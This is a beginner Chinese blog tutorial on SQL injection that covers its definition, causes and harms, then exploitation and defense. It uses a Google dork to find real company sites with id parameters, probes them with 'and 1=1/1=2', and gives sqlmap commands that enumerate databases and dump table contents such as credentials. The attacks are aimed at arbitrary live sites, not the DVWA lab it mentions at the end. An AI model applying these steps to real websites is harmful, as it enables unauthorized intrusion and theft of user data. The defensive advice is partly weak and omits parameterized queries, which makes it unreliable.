学习路线
现在网上关于Web漏洞的资料超级多,如果大家想了解Web漏洞,建议从以下几方面入手
1、看完相关资料后,用自己的话对漏洞进行定义,最好越简洁越好。
2、 总结漏洞产生的原因。
3、该漏洞有什么危害
4、怎样查找该漏洞?选择一种方法,进行实践。
5、 如何利用这些漏洞进行攻击,有什么工具?选择一种并熟悉它
6、 怎样防御该漏洞?
各位看官,今天就让咱们沿着这条路线来学习一下SQL注入攻击。
什么是SQL注入?
- SQL(Structed Query Language)结构化查询语言,用于对数据库进行增删改查的操作,所以SQL注入就是:攻击者输入的非法SQL语句,被当做正常的SQL语句执行。
SQL注入是怎样产生的?
- 其实由SQL注入的定义我们就明白,SQL注入的产生是因为数据库对用户的输入没有进行严格的检查,没有识别出用户输入的非法SQL语句。
SQL注入有什么危害?
- 既然是攻击者输入的SQL语句被执行,那么攻击者就可以对数据库进行增删改查操作,这四个操作危害特别大。
- 增:比如攻击者可以在数据库新增一个用户,或新增一些虚假消息。
- 删:这个就不用说了,攻击者删除数据库中的关键信息,导致网站无法正常使用。
- 查:查询敏感信息,获取一些用户的账号和密码,然后丢到社工库中,看该用户有没有注册其他的,导致用户的更多信息被泄露。
- 改:篡改网页,修改数据库的一些字段,嵌入恶意链接,导致网站被挂马。
当然除了上面的写的,SQL注入还有其他的危害
SQL注入漏洞的查找?
我们介绍一种简单的方法,利用google hacking,先查找可能具有SQL注入漏洞的相关网站。
- 在google 浏览器输入框中输入:
公司 inurl:asp/php?id=
查找包含‘公司’的asp/php 数字型页面。
- 在找到的网页中,在url后面输入 and 1=1
如果网站没反应,输入 and 1=2
网站显示输入错误和出错信息,出错信息中会包含数据库的类型,那么说明该网站存在SQL注入漏洞。
如何进行SQL注入攻击?
当我们查找出存在SQL注入漏洞的网站,网址用url代替,我们可以利用SQL注入神器sqlmap,进行攻击。
- 首先,扫描该网站,这一步也可用来检测我们找到的网站是否存在SQL注入漏洞。
如果是access数据库,access为文件系统,不用指定数据库:
sqlmap -u url
返回检测漏洞的结果。sqlmap -u url --tables
查询所有表名。sqlmap -u url --columns -T "table"
猜解表table的列名。sqlmap -u url --dump -C "col1,col2" -T table
猜解表table ,属性col1,col2的值。
如果是Mysql数据库:
sqlmap -u url --dbs --current-user
获取当前用户和所有数据库。sqlmap -u url --dbms mysql -D 数据库名 --tables
获取某mysql数据库中的所有表。sqlmap -u url --tables
拆解表得到表名。sqlmap -u url -T 表名 --columns
得到表属性名称。sqlmap -u url -T 表名 -C col1,col2,... -dump
得到相应属性对应的值。
如何进行SQL注入的防御?
1、 对用户的输入进行严格的检查,对输入的特殊字符(\<>&*)进行转义字符,编码转换。
2、 对数据库配置使用最小权限原则。
3、 避免网站显示SQL错误信息。
4、 确认每种数据的类型。
5、 限制数据的长度。
6、 网站每个数据层编码统一。
7、 将数据进行加密后存放。
结语
总的来说这篇博客写的比较简单,希望能给入门级的朋友提供一点学习的思路,如果要深入了解,上面的每一部分都可以拆成一篇博文,大家对哪部分感兴趣可以自己去搜相关博文和教程。
建议大家搭建一个DVWA平台,来感受各种漏洞的原理和攻击过程。